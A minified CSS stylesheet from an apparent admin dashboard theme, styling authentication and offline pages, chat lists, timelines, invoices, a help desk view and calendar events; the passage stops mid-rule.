.choices__placeholder { opacity: 0.5; } .typeahead { position: relative; } .typeahead > ul { background-color: #ffffff; border-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.1); box-shadow: 0 6px 12px rgba(0, 0, 0, 0.17); display: none; float: left; font-size: 14px; left: 0; list-style: none; margin: 2px 0 0; min-width: 170px; padding: 5px 0; position: absolute; text-align: left; top: 100%; z-index: 1000; } .typeahead > ul > li > a { clear: both; color: #333; cursor: default; display: block; font-weight: 400; line-height: 1.42857143; padding: 3px 20px; white-space: nowrap; } .typeahead > ul > li.active > a, .typeahead > ul > li > a:hover { background-color: #3f9bfa; color: #ffffff; text-decoration: none; } .validate-me .error { border-color: #ff3a6e; } .error-message { color: #ff3a6e; } /** ===================== Authentication css start ========================== **/ .auth-wrapper { position: relative; display: flex; align-items: center; justify-content: center; overflow: hidden; min-width: 100%; min-height: 100vh; } @media (min-width: 1200px) { .auth-wrapper .container { max-width: 1140px; } } @media (-ms-high-contrast: none), (-ms-high-contrast: active) { .auth-wrapper { display: block; margin: 0 auto; } .auth-wrapper > .row { min-height: 100vh; } .auth-wrapper > .row > .aut-bg-img { min-height: 100vh; } } .auth-wrapper .saprator { position: relative; margin: 8px 0; } .auth-wrapper .saprator span { background: #fff; position: relative; padding: 0 10px; z-index: 5; font-size: 20px; } .auth-wrapper .saprator:after { content: ""; position: absolute; top: 15px; left: 0; width: 100%; height: 1px; background: #f1f1f1; z-index: 1; } .auth-wrapper a, .auth-wrapper p > a { color: #525b69; } .auth-wrapper .input-group { background: transparent; } .auth-wrapper .card { margin-bottom: 0; padding: 8px; } .auth-wrapper .card .card-body { padding: 20px 25px 20px 40px; } @media (-ms-high-contrast: none), (-ms-high-contrast: active) { .auth-wrapper .card { display: block; } } .auth-wrapper > div { z-index: 5; } .auth-wrapper .auth-content { position: relative; padding: 15px; z-index: 5; } .auth-wrapper .auth-content:not(.container) .card-body { padding: 40px 35px; } @media (-ms-high-contrast: none), (-ms-high-contrast: active) { .auth-wrapper .auth-content { margin: 0 auto; } } .auth-wrapper .navbar { background: #ffffff; border-radius: 10px; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } .auth-wrapper .auth-content { width: 75vw; min-height: calc(100vh - 40px); display: flex; flex-direction: column; justify-content: space-between; } .auth-wrapper .auth-content .auth-footer .link-light { color: #fff; opacity: 0.7; } .auth-wrapper .auth-content .auth-footer .link-light:hover, .auth-wrapper .auth-content .auth-footer .link-light:focus, .auth-wrapper .auth-content .auth-footer .link-light:active { opacity: 1; } .auth-wrapper .auth-content .card { overflow: hidden; padding: 0; box-shadow: none; background: transparent; } .auth-wrapper .auth-content .card .card-body { display: flex; flex-direction: column; justify-content: space-between; height: 100%; width: 400px; max-width: 100%; } .auth-wrapper .auth-content .card .auth-img-content { margin: 0 0 0 auto; width: 400px; max-width: 100%; } .auth-wrapper .auth-content .img-card-side { position: relative; padding: 0; } .auth-wrapper .auth-content .img-card-side .img-card-side-content { position: absolute; top: 30px; left: 45px; } @media only screen and (max-width: 1199px) { .auth-wrapper .bg-auth-side, .auth-wrapper .auth-img-content, .auth-wrapper .auth-footer { display: none; } .auth-wrapper .auth-content { width: 85vw; } .auth-wrapper .auth-content .auth-footer { display: none; } .auth-wrapper .auth-content .card .card-body { margin: 0 auto; } } @media only screen and (max-width: 992px) { .auth-wrapper .auth-content { width: 95vw; } } @media only screen and (max-width: 767px) { .auth-wrapper .card .card-body { padding: 30px 15px; } } .auth-wrapper.auth-v3 .bg-auth-side { content: ""; top: 20px; left: 50%; right: 20px; bottom: 20px; border-radius: 20px; position: absolute; } .auth-wrapper.auth-v2 .card { overflow: visible; } .auth-wrapper.auth-v2 .bg-auth-side { content: ""; top: 0; left: 50%; right: 0; bottom: 0; border-radius: 0px; position: absolute; transform: skewX(-8deg); transform-origin: bottom; } .auth-wrapper.auth-v2 .auth-img-content { position: relative; height: 50vh; width: 100%; } .auth-wrapper.auth-v2 .img-widget-1, .auth-wrapper.auth-v2 .img-widget-2, .auth-wrapper.auth-v2 .img-widget-3, .auth-wrapper.auth-v2 .img-widget-4 { position: absolute; } .auth-wrapper.auth-v2 .img-widget-1 { top: -25px; left: -110px; width: 300px; animation: widanimx 12s ease-in-out infinite; } .auth-wrapper.auth-v2 .img-widget-2 { bottom: -10%; left: 50%; width: 400px; animation: widanimx 12s ease-in-out infinite; animation-delay: 2.15s; } .auth-wrapper.auth-v2 .img-widget-3 { bottom: -10%; left: -30%; width: 300px; animation: widanimy 12s ease-in-out infinite; } .auth-wrapper.auth-v2 .img-widget-4 { top: -10%; left: 50%; width: 300px; animation: widanimy 12s ease-in-out infinite; animation-delay: 2.15s; } .auth-wrapper.auth-v2 .img-ring { width: 200px; height: 200px; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); border-radius: 50%; background: rgba(255, 255, 255, 0.25); display: flex; align-items: center; justify-content: center; } .auth-wrapper.auth-v2 .img-ring img { width: 100px; } .auth-wrapper.auth-v2 .img-ring:after, .auth-wrapper.auth-v2 .img-ring:before { content: ""; position: absolute; width: 100%; height: 100%; top: 0; left: 0; border-radius: 50%; background: rgba(255, 255, 255, 0.25); } .auth-wrapper.auth-v2 .img-ring:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.auth-v2 .img-ring:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .auth-wrapper.auth-v1 .navbar { background: transparent; } .auth-wrapper.auth-v1 .card { background: #ffffff; box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15); } .auth-wrapper.auth-v1 .bg-auth-side { content: ""; top: 0; left: 0; right: 0; bottom: 40%; position: absolute; } @media only screen and (max-width: 1199px) { .auth-wrapper.auth-v1 .bg-auth-side { display: block; } } @keyframes sunwawe { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(4); opacity: 0; } } @keyframes widanimx { 0% { transform: translate(25px, 0px); } 50% { transform: translate(-15px, 0px); } 100% { transform: translate(25px, 0px); } } @keyframes widanimy { 0% { transform: translate(0px, 25px); } 50% { transform: translate(0px, -15px); } 100% { transform: translate(0px, 25px); } } /**====== Authentication css end ======**/ /** ===================== Authentication css start ========================== **/ .auth-wrapper.maintance { background: #f8f9fd; } .auth-wrapper.offline { background: radial-gradient(#94acbe, #253653); } .auth-wrapper.offline .offline-wrapper { position: relative; width: 100%; height: 100vh; display: flex; align-items: center; } .auth-wrapper.offline .offline-wrapper > svg { width: 100%; position: absolute; bottom: 0; left: 0; } .auth-wrapper.offline .offline-wrapper .boat-img { animation: boatanim 12s ease-in-out infinite; } .auth-wrapper.offline .s-img-1, .auth-wrapper.offline .s-img-2 { position: absolute; top: 0; left: 0; width: 100%; } .auth-wrapper.offline .s-img-1 { animation: sparcle 3.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.offline .s-img-2 { animation: sparcle 3.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.19s; } .auth-wrapper.offline .moon { background: rgba(255, 255, 255, 0.4); position: absolute; top: 12%; left: 40%; width: 150px; height: 150px; border-radius: 50%; } .auth-wrapper.offline .moon:after, .auth-wrapper.offline .moon:before { content: ""; width: 100%; height: 100%; border-radius: 50%; position: absolute; top: 0; left: 0; box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); } .auth-wrapper.offline .moon:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.offline .moon:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .auth-wrapper.offline .sark .img-sark { width: 300px; position: absolute; right: -200px; animation: sark 12s ease-in-out infinite; } .auth-wrapper.offline .sark .bubble { background: rgba(255, 255, 255, 0); position: absolute; top: 12%; left: 60%; width: 30px; height: 30px; border-radius: 50%; animation: bubble 12s ease-in-out infinite; } .auth-wrapper.offline .sark .bubble:after, .auth-wrapper.offline .sark .bubble:before { content: ""; width: 100%; height: 100%; border-radius: 50%; position: absolute; top: 0; left: 0; box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); } .auth-wrapper.offline .sark .bubble:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .auth-wrapper.offline .sark .bubble:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .auth-wrapper.offline .off-main { position: relative; height: 100%; display: flex; align-items: center; } .auth-wrapper.offline .off-main .off-content { position: absolute; width: 100%; bottom: 5%; left: 0; z-index: 5; } @media only screen and (max-width: 575px) { .auth-wrapper.offline .sark { display: none; } .auth-wrapper.offline .offline-wrapper > svg { height: 95%; } .auth-wrapper.offline .off-main .off-content { bottom: 0%; } .auth-wrapper.offline .off-main .off-content h1, .auth-wrapper.offline .off-main .off-content .h1 { font-size: 45px; } .auth-wrapper.offline .moon { top: 12%; width: 50px; height: 50px; } } @keyframes bubble { 0%, 30% { opacity: 0; } 31% { opacity: 1; } 59% { opacity: 1; } 60%, 100% { opacity: 0; } } @keyframes sark { 0% { transform: rotate(-10deg) translate(245px, 46px); } 30% { transform: rotate(-13deg) translate(-329px, -80px); } 60% { transform: rotate(-13deg) translate(-329px, -80px); } 100% { transform: rotate(-26deg) translate(-887px, -80px); } } @keyframes boatanim { 0% { transform: rotate(-10deg) translate(95px, -14px); } 50% { transform: rotate(5deg) translate(-65px, -14px); } 100% { transform: rotate(-10deg) translate(95px, -14px); } } @keyframes sunwawe { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(4); opacity: 0; } } @keyframes sparcle { 0% { opacity: 0.5; } 50% { opacity: 0; } } /**====== Authentication css end ======**/ /* ===================== page start ======================================= */ .theme-avtar { width: 45px; height: 45px; border-radius: 17.3552px; color: #fff; display: flex; align-items: center; justify-content: center; font-size: 20px; flex-shrink: 0; } .conversations-list .img-user { width: 45px; height: 45px; border-radius: 10px; } .conversations-list .list-group-item { cursor: pointer; padding: 16px 16px; border-radius: 10px; transition: all 0.1s ease-in-out; } .conversations-list .list-group-item .btn-link { text-decoration: none !important; transition: all 0.1s ease-in-out; } .conversations-list .list-group-item.active, .conversations-list .list-group-item:hover { color: #fff; } .conversations-list .list-group-item.active h6, .conversations-list .list-group-item.active .h6, .conversations-list .list-group-item.active p, .conversations-list .list-group-item:hover h6, .conversations-list .list-group-item:hover .h6, .conversations-list .list-group-item:hover p { color: #fff; } .conversations-list .list-group-item.active .text-primary, .conversations-list .list-group-item.active .btn-link, .conversations-list .list-group-item:hover .text-primary, .conversations-list .list-group-item:hover .btn-link { color: #fff !important; } .horizontal-scroll-cards { overflow-x: auto; overflow-y: hidden; } .horizontal-scroll-cards::-webkit-scrollbar { height: 6px; opacity: 0; } .horizontal-scroll-cards::-webkit-scrollbar:hover { opacity: 1; } .horizontal-scroll-cards::-webkit-scrollbar-track { background: transparent; } .horizontal-scroll-cards::-webkit-scrollbar-thumb { background: #dcdaeb; } .horizontal-scroll-cards::-webkit-scrollbar-thumb:hover { background: #51459d; } .btn-addnew-project { border: 1px solid #f1f1f1; border-radius: 15px; padding: 20px; display: flex; flex-direction: column; align-items: center; width: 100%; height: calc(100% - 24px); justify-content: center; } .btn-addnew-project .proj-add-icon { width: 35px; height: 35px; border-radius: 10px; color: #fff; display: flex; align-items: center; justify-content: center; font-size: 20px; } .btn-addnew-team { text-align: center; } .btn-addnew-team .team-add-icon { margin: 0 auto; width: 50px; height: 50px; border-radius: 50%; padding: 5px; color: #fff; display: flex; align-items: center; justify-content: center; font-size: 20px; } .team-lists { text-align: center; } .team-lists > div p { padding: 0 5px; margin-bottom: 0; } .team-lists img { margin: 0 auto; width: 50px; height: 50px; border-radius: 50%; border: 1px solid #51459d; padding: 5px; } .user-group img { position: relative; width: 30px; height: 30px; border-radius: 50%; z-index: 2; transition: all 0.1s ease-in-out; border: 2px solid #ffffff; } .user-group img + img { margin-left: -14px; } .user-group img:hover { z-index: 5; } .team-msg .img-user { width: 45px; height: 45px; border-radius: 10px; } .team-msg .list-group-item { padding-left: 0; padding-right: 0; } .form-send { position: relative; } .form-send .form-control, .form-send .custom-select, .form-send .dataTable-selector, .form-send .dataTable-input { position: relative; z-index: 1; padding-right: 60px; } .form-send .btn-send { position: absolute; right: 0; top: 0; bottom: 0; left: auto; z-index: 5; } .form-editor .CodeMirror { padding-bottom: 0; } .form-editor .CodeMirror, .form-editor .CodeMirror-scroll { min-height: auto !important; } .timeline-wrapper { position: relative; flex-wrap: nowrap; text-align: center; overflow-x: auto; padding-bottom: 20px; } .timeline-wrapper::-webkit-scrollbar { height: 6px; opacity: 0; } .timeline-wrapper::-webkit-scrollbar:hover { opacity: 1; } .timeline-wrapper::-webkit-scrollbar-track { background: transparent; } .timeline-wrapper::-webkit-scrollbar-thumb { background: #dcdaeb; } .timeline-wrapper::-webkit-scrollbar-thumb:hover { background: #51459d; } .timeline-wrapper .timeline-icons { font-size: 30px; position: relative; z-index: 5; } .timeline-wrapper .timeline-icons:before, .timeline-wrapper .timeline-icons:after { content: ""; height: 2px; background: #e4e8f7; width: calc(50% - 16px); position: absolute; top: 22px; z-index: 1; } .timeline-wrapper .timeline-icons:after { left: -12px; } .timeline-wrapper .timeline-icons:before { right: -12px; } .timeline-wrapper .timeline-icons .timeline-dots { position: absolute; top: 22px; width: 50px; } .timeline-wrapper .timeline-icons .timeline-dots:before, .timeline-wrapper .timeline-icons .timeline-dots:after { content: ""; border: 3px solid #e4e8f7; position: absolute; top: -2px; z-index: 7; transform: rotate(45deg); } .timeline-wrapper .timeline-icons .timeline-dots:after { left: -6px; } .timeline-wrapper .timeline-icons .timeline-dots:before { right: -6px; } .timeline-wrapper .timeline-icons i { display: inline-block; width: 50px; position: relative; z-index: 5; } .timeline-wrapper > div:first-child .timeline-icons::after, .timeline-wrapper > div:first-child .timeline-icons .timeline-dots::after { display: none; } .timeline-wrapper > div:last-child .timeline-icons::before, .timeline-wrapper > div:last-child .timeline-icons .timeline-dots::before { display: none; } .kanban-wrapper { position: relative; flex-wrap: nowrap; } .kanban-wrapper .card { position: relative; } .kanban-wrapper > .col { width: 390px; flex: 0 0 auto; } .btn-chk-work { text-align: center; justify-content: center; } .btn-chk-work .btn { margin-bottom: 14px; padding: 45px 50px; } .btn-chk-work .btn i { font-size: 55px; } @media screen and (max-width: 768px) { .btn-chk-work .btn { padding: 14px 16px; } .btn-chk-work .btn i { font-size: 40px; } } .event-cards .card { padding: 12px; border-radius: 20px; } .product-slider .carousel-indicators { margin-left: 0; margin-right: 0; margin-top: 20px; } .product-slider .carousel-indicators [data-bs-target] { margin-left: 8px; margin-right: 8px; } .product-slider .carousel-indicators img { width: 100%; } .product-slider img { border-radius: 15px; } body.theme-1 .conversations-list .list-group-item .btn-link { color: #0CAF60; } body.theme-1 .conversations-list .list-group-item.active, body.theme-1 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60; } body.theme-1 .team-lists img { border-color: #0CAF60; } body.theme-3 .conversations-list .list-group-item .btn-link { color: #6FD943; } body.theme-3 .conversations-list .list-group-item.active, body.theme-3 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943; } body.theme-3 .team-lists img { border-color: #6FD943; } body.theme-2 .conversations-list .list-group-item .btn-link { color: #584ED2; } body.theme-2 .conversations-list .list-group-item.active, body.theme-2 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2; } body.theme-2 .team-lists img { border-color: #584ED2; } body.theme-4 .conversations-list .list-group-item .btn-link { color: #145388; } body.theme-4 .conversations-list .list-group-item.active, body.theme-4 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388; } body.theme-4 .team-lists img { border-color: #145388; } body.theme-5 .conversations-list .list-group-item .btn-link { color: #B9406B; } body.theme-5 .conversations-list .list-group-item.active, body.theme-5 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B; } body.theme-5 .team-lists img { border-color: #B9406B; } body.theme-6 .conversations-list .list-group-item .btn-link { color: #008ECC; } body.theme-6 .conversations-list .list-group-item.active, body.theme-6 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC; } body.theme-6 .team-lists img { border-color: #008ECC; } body.theme-7 .conversations-list .list-group-item .btn-link { color: #922C88; } body.theme-7 .conversations-list .list-group-item.active, body.theme-7 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88; } body.theme-7 .team-lists img { border-color: #922C88; } body.theme-8 .conversations-list .list-group-item .btn-link { color: #C0A145; } body.theme-8 .conversations-list .list-group-item.active, body.theme-8 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145; } body.theme-8 .team-lists img { border-color: #C0A145; } body.theme-9 .conversations-list .list-group-item .btn-link { color: #48494B; } body.theme-9 .conversations-list .list-group-item.active, body.theme-9 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B; } body.theme-9 .team-lists img { border-color: #48494B; } body.theme-10 .conversations-list .list-group-item .btn-link { color: #0C7785; } body.theme-10 .conversations-list .list-group-item.active, body.theme-10 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785; } body.theme-10 .team-lists img { border-color: #0C7785; } /* ===================== Invoice page start ===================================== */ .invoice-contact { display: flex; margin-bottom: 30px; padding-top: 30px; align-items: center; } @media screen and (max-width: 767px) { .invoice-contact { margin-bottom: 0; } } .invoice-table.table td { border: 0; padding: 4px 0; } .invoive-info { display: flex; margin-bottom: 30px; } .invoive-info h6, .invoive-info .h6 { margin-bottom: 20px; text-transform: uppercase; } .invoive-info .invoice-order.table { padding-left: 0; } .invoive-info .invoice-order.table th { border: 0; padding: 4px 0; } .invoive-info .invoice-order.table th:first-child { padding-left: 0; width: 80px; } .invoice-total { background: #f3f3f3; border-radius: 6px; padding: 14px 0; margin-bottom: 20px; } .invoice-total .table { margin-bottom: 0; } .invoice-total .table th { border: 0; padding: 4px 0; text-align: right; } .invoice-total .table td { text-align: right; } .invoice-total .table tbody { padding-right: 65px; float: right; } .invoice-summary .label { border-radius: 5px; padding: 3px 10px; font-size: 12px; } .invoice-list .btn { padding: 5px 10px; font-size: 12px; } .invoice-list .task-list-table { display: inline-block; } .vr-info-wrapper { background-size: cover; } .vr-info-wrapper .vr-info-container { width: 70%; margin: 0 auto; } .vr-info-wrapper .card { background: rgba(255, 255, 255, 0.5); } /* ===================== Invoice page end ======================================= */ @media screen and (max-width: 768px) { .fc .fc-toolbar { flex-direction: column; } .fc .fc-toolbar .fc-toolbar-chunk.fc-toolbar-chunk { margin-top: 8px; } } /** ===================== Help Desk Application css start ========================== **/ .hd-body .excerpt { padding: 15px; background: #f8f9fd; border: 1px solid #f1f1f1; } .hd-body .ticket-customer, .hd-body .ticket-type-icon { display: block; text-transform: capitalize; } .hd-body:hover .hover-blk { transform: scale(1); } .sm-view .card-body .excerpt, .sm-view .card-body ul.list-inline { display: none; } .md-view .excerpt { display: none; } .md-view .col-auto ul li:nth-child(1), .md-view .col-auto ul li:nth-child(3), .sm-view .col-auto ul li:nth-child(1), .sm-view .col-auto ul li:nth-child(3) { display: none; } .hover-blk { background: #fff; width: 270px; left: calc(100% + 10px); transform: scale(0); z-index: 5; transition: all 0.1s ease-out; } .hover-blk .img-txt p { display: inline-block; } .topic-name h1, .topic-name .h1 { float: left; font-weight: normal; } .topic-name .btn-star { float: right; } .dicon-blk { top: 0; right: 0; } .dicon-blk li { display: inline-block; } .hd-detail .col-right .edit-del { opacity: 0; } .hd-detail .col-right .edit-del i { opacity: 0.2; } .hd-detail .col-right .edit-del i:hover { opacity: 1; } .hd-detail:hover .edit-del { opacity: 1; } .hdd-user i { bottom: 0; } .ticket-block .hd-body { border-left: 3px solid #ccc; } .ticket-block .col.border-right { border-color: #ccc !important; } .ticket-block .ticket-type-icon { font-weight: 500; color: #111; } .ticket-block .excerpt h6, .ticket-block .excerpt .h6 { color: #686c71; font-weight: 500; } .ticket-block .excerpt h6 a, .ticket-block .excerpt .h6 a { color: #686c71; } .ticket-block .excerpt h6 a:hover, .ticket-block .excerpt .h6 a:hover { text-decoration: underline !important; color: #111; } .ticket-block.open-tic .hd-body { border-color: #ea394a; } .ticket-block.close-tic .hd-body { border-color: #5AC17F; } .right-col .card-footer label { font-weight: 500; } .hdd-right-inner .select2-container--default { margin-bottom: 10px; } .hdd-right-inner .select2-container--default .select2-selection { border-color: #f1f1f1; } .hdd-right-side { width: 495px; } .hdd-right-side .hdd-right-inner { position: fixed; width: 465px; } .span-content a { padding: 0 7px; } .file-btn { position: relative; overflow: hidden; } .file-btn input { position: absolute; font-size: 50px; opacity: 0; right: 0; top: 0; } @media (max-width: 992px) { .hd-detail .col-right .edit-del { opacity: 1; } } @media only screen and (max-width: 767px) { .hdd-right-side { width: 100%; } .hdd-right-side .hdd-right-inner { position: static; width: 100%; } } @media (max-width: 575px) { .q-view .content { width: 450px; } } @media (max-width: 380px) { .q-view .content { width: 300px; } } #qviewModal.fade .q-view-modal.modal-dialog { transform: translateX(550px); } #qviewModal.show { padding-right: 0 !important; } #qviewModal.show .q-view-modal.modal-dialog { transform: none; } .q-view-modal { margin: 0; } .q-view-modal .modal-content { height: 100vh; border-radius: 0; border: none; } .q-view-modal .modal-content .modal-body { flex: 1 1 100%; } .q-view-modal .modal-content .modal-body .trumbowyg-box, .q-view-modal .modal-content .modal-body .trumbowyg-editor { min-height: 110px; } @media (min-width: 576px) { .q-view-modal.modal-dialog { max-width: 550px; margin: 0 0 0 auto; } } .ticket-card.open-ticket { border-left: 3px solid #ff3a6e; } .ticket-card.close-ticket { border-left: 3px solid #6fd943; } .help-main.sm-view .help-md-hidden, .help-main.sm-view .help-sm-hidden { display: none; } .help-main.md-view .help-md-hidden { display: none; } .popup-trigger { cursor: pointer; } /**====== Help Desk Application css start ======**/ .fc-view { margin-top: 30px; } .none-border .modal-footer { border-top: none; } .fc-toolbar { margin: 15px 0 5px; } .fc-toolbar h2, .fc-toolbar .h2 { font-size: 1.25rem; line-height: 1.875rem; text-transform: uppercase; } .fc-day-grid-event .fc-time { font-weight: 700; } .fc-day { background: transparent; } .fc-toolbar .fc-state-active, .fc-toolbar .ui-state-active, .fc-toolbar .ui-state-hover, .fc-toolbar button:focus, .fc-toolbar button:hover { z-index: 0; } .fc th.fc-widget-header { background: #51459d; color: #fff; border-color: #51459d; font-size: 13px; line-height: 20px; padding: 10px 0; text-transform: uppercase; } .fc-unthemed .fc-divider, .fc-unthemed .fc-popover, .fc-unthemed .fc-row, .fc-unthemed tbody, .fc-unthemed td, .fc-unthemed th, .fc-unthemed thead { border-color: #fefefe; } .fc-button, .fc-today-button { background: #fefefe; border: none; color: #343a40; text-shadow: none; text-transform: capitalize; box-shadow: none; border-radius: 3px; margin: 0.375rem 0.75rem; padding: 0.375rem 0.75rem !important; height: auto !important; } .fc-text-arrow { font-family: inherit; font-size: 1rem; } .fc-state-hover { background: #e9ecef; } .fc-state-highlight { background: #dee2e6; } .fc-state-active, .fc-state-disabled, .fc-state-down { background-color: #51459d; color: #ffffff; text-shadow: none; } .fc-cell-overlay { background: #dee2e6; } .fc-unthemed td.fc-today { background: #f8f9fa; } .fc-unthemed .fc-divider, .fc-unthemed .fc-list-heading td, .fc-unthemed .fc-popover .fc-header { background: #f8f9fa; } .fc-event, .fc-event:not([href]) { color: #fff; border-color: #51459d; border-left-width: 4px; padding: 5px 10px; border-radius: 2px; margin-bottom: 5px; cursor: move; } .fc-event:not([class*="bg-"]), .fc-event:not([href]):not([class*="bg-"]) { background-color: #51459d; } .external-event { cursor: move; margin: 10px 0; padding: 8px 10px; color: #ffffff; } .fc-basic-view td.fc-week-number span { padding-right: 8px; } .fc-basic-view td.fc-day-number { padding-right: 8px; } .fc-basic-view .fc-content { color: #ffffff; } .fc-time-grid-event .fc-content { color: #ffffff; } .fc .fc-button-group > *, .fc-today-button { margin-bottom: 4px; margin-left: 10px; border-radius: 2px; font-size: 1rem; } .fc-ltr .fc-basic-view .fc-day-top .fc-day-number { float: right; height: 20px; width: 20px; text-align: center; line-height: 20px; background-color: #fefefe; border-radius: 2px; margin: 5px; font-size: 12px; border: 1px solid #f9f9f9; } .fc-scroller { overflow: visible !important; height: auto !important; } @media (max-width: 575.98px) { .fc-toolbar .fc-center, .fc-toolbar .fc-left, .fc-toolbar .fc-right { float: none; display: block; clear: both; margin: 10px 0; } .fc .fc-toolbar > * > * { float: none; } .fc-today-button { display: none; } } .fc-popover { background: #ffffff; } .fc-h-event .fc-event-main { color: inherit; color: var(--fc-event-text-color, inherit); } .fc .fc-timegrid-slot { height: 2.5em; } .fc-timeGridDay-view .fc-v-event .fc-event-main-frame { flex-direction: row; align-items: center; } .fc-timeGridDay-view .fc-v-event .fc-event-main-frame > div + div { margin-left: 10px; } .fc-event, .fc-event:not([href]) { border-width: 1px 1px 1px 5px; border-style: solid; border-radius: 3px; } .fc-event.event-primary, .fc-event:not([href]).event-primary { background: #dcdaeb; border-color: #51459d; color: #51459d; } .fc-event.event-primary.fc-v-event .fc-event-main, .fc-event:not([href]).event-primary.fc-v-event .fc-event-main { color: #51459d; } .fc-event.event-primary .fc-daygrid-event-dot, .fc-event:not([href]).event-primary .fc-daygrid-event-dot { border-color: #51459d; } .fc-event.event-secondary, .fc-event:not([href]).event-secondary { background: #e2e3e5; border-color: #6c757d; color: #6c757d; } .fc-event.event-secondary.fc-v-event .fc-event-main, .fc-event:not([href]).event-secondary.fc-v-event .fc-event-main { color: #6c757d; } .fc-event.event-secondary .fc-daygrid-event-dot, .fc-event:not([href]).event-secondary .fc-daygrid-event-dot { border-color: #6c757d; } .fc-event.event-success, .fc-event:not([href]).event-success { background: #e2f7d9; border-color: #6fd943; color: #6fd943; } .fc-event.event-success.fc-v-event .fc-event-main, .fc-event:not([href]).event-success.fc-v-event .fc-event-main { color: #6fd943; } .fc-event.event-success .fc-daygrid-event-dot, .fc-event:not([href]).event-success .fc-daygrid-event-dot { border-color: #6fd943; } .fc-event.event-info, .fc-event:not([href]).event-info { background: #d8f4f7; border-color: #3ec9d6; color: #3ec9d6; } .fc-event.event-info.fc-v-event .fc-event-main, .fc-event:not([href]).event-info.fc-v-event .fc-event-main { color: #3ec9d6; } .fc-event.event-info .fc-daygrid-event-dot, .fc-event:not([href]).event-info .fc-daygrid-event-dot { border-color: #3ec9d6; } .fc-event.event-warning, .fc-event:not([href]).event-warning { background: #ffecd2; border-color: #ffa21d; color: #ffa21d; } .fc-event.event-warning.fc-v-event .fc-event-main, .fc-event:not([href]).event-warning.fc-v-event .fc-event-main { color: #ffa21d; } .fc-event.event-warning .fc-daygrid-event-dot, .fc-event:not([href]).event-warning .fc-daygrid-event-dot { border-color: #ffa21d; } .fc-event.event-danger, .fc-event:not([href]).event-danger { background: #ffd8e2; border-color: #ff3a6e; color: #ff3a6e; } .fc-event.event-danger.fc-v-event .fc-event-main, .fc-event:not([href]).event-danger.fc-v-event .fc-event-main { color: #ff3a6e; } .fc-event.event-danger .fc-daygrid-event-dot, .fc-event:not([href]).event-danger .fc-daygrid-event-dot { border-color: #ff3a6e; } .fc-event.event-light, .fc-event:not([href]).event-light { background: #fefefe; border-color: #f8f9fa; color: #f8f9fa; } .fc-event.event-light.fc-v-event .fc-event-main, .fc-event:not([href]).event-light.fc-v-event .fc-event-main { color: #f8f9fa; } .fc-event.event-light .fc-daygrid-event-dot, .fc-event:not([href]).event-light .fc-daygrid-event-dot { border-color: #f8f9fa; } .fc-event.event-dark, .fc-event:not([href]).event-dark { background: #d2d3d5; border-color: #1c232f; color: #1c232f; } .fc-event.event-dark.fc-v-event .fc-event-main, .fc-event:not([href]).event-dark.fc-v-event .fc-event-main { color: #1c232f; } .fc-event.event-dark .fc-daygrid-event-dot, .fc-event:not([href]).event-dark .fc-daygrid-event-dot { border-color: #1c232f; } /** ===================== Icon layouts css start ========================== **/ .i-main .i-block { display: inline-flex; align-items: center; justify-content: center; width: 70px; height: 70px; margin: 5px; border: 1px solid #f1f1f1; position: relative; cursor: pointer; } .i-main .i-block i { font-size: 30px; } .i-main .i-block label { margin-bottom: 0; display: none; } .i-main .i-block span.ic-badge { position: absolute; bottom: 0; right: 0; } /**====== Icon layouts css end ======**/ /** ===================== user card css start ========================== **/ .user-card .dropdown-toggle { cursor: pointer; } .user-card .cover-img-block { position: relative; } .user-card .cover-img-block > img { width: 100%; } .user-card .cover-img-block .change-cover { position: absolute; top: 30px; left: 30px; z-index: 5; opacity: 0; transition: all 0.3s ease-in-out; } .user-card .cover-img-block .change-cover .dropdown-toggle { color: #fff; background: rgba(0, 0, 0, 0.6); width: 45px; height: 45px; border-radius: 50%; font-size: 20px; display: flex; align-items: center; justify-content: center; } .user-card .cover-img-block .change-cover .dropdown-toggle:after { display: none; } .user-card .cover-img-block .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; z-index: 1; background: rgba(0, 0, 0, 0.4); transition: all 0.3s ease-in-out; } .user-card .cover-img-block:hover .change-cover, .user-card .cover-img-block:hover .overlay { opacity: 1; } .user-card .user-about-block { margin-top: -20px; z-index: 1; position: relative; } .user-card .user-about-block img { box-shadow: 0 0 0 5px #fff; } .user-card .user-about-block 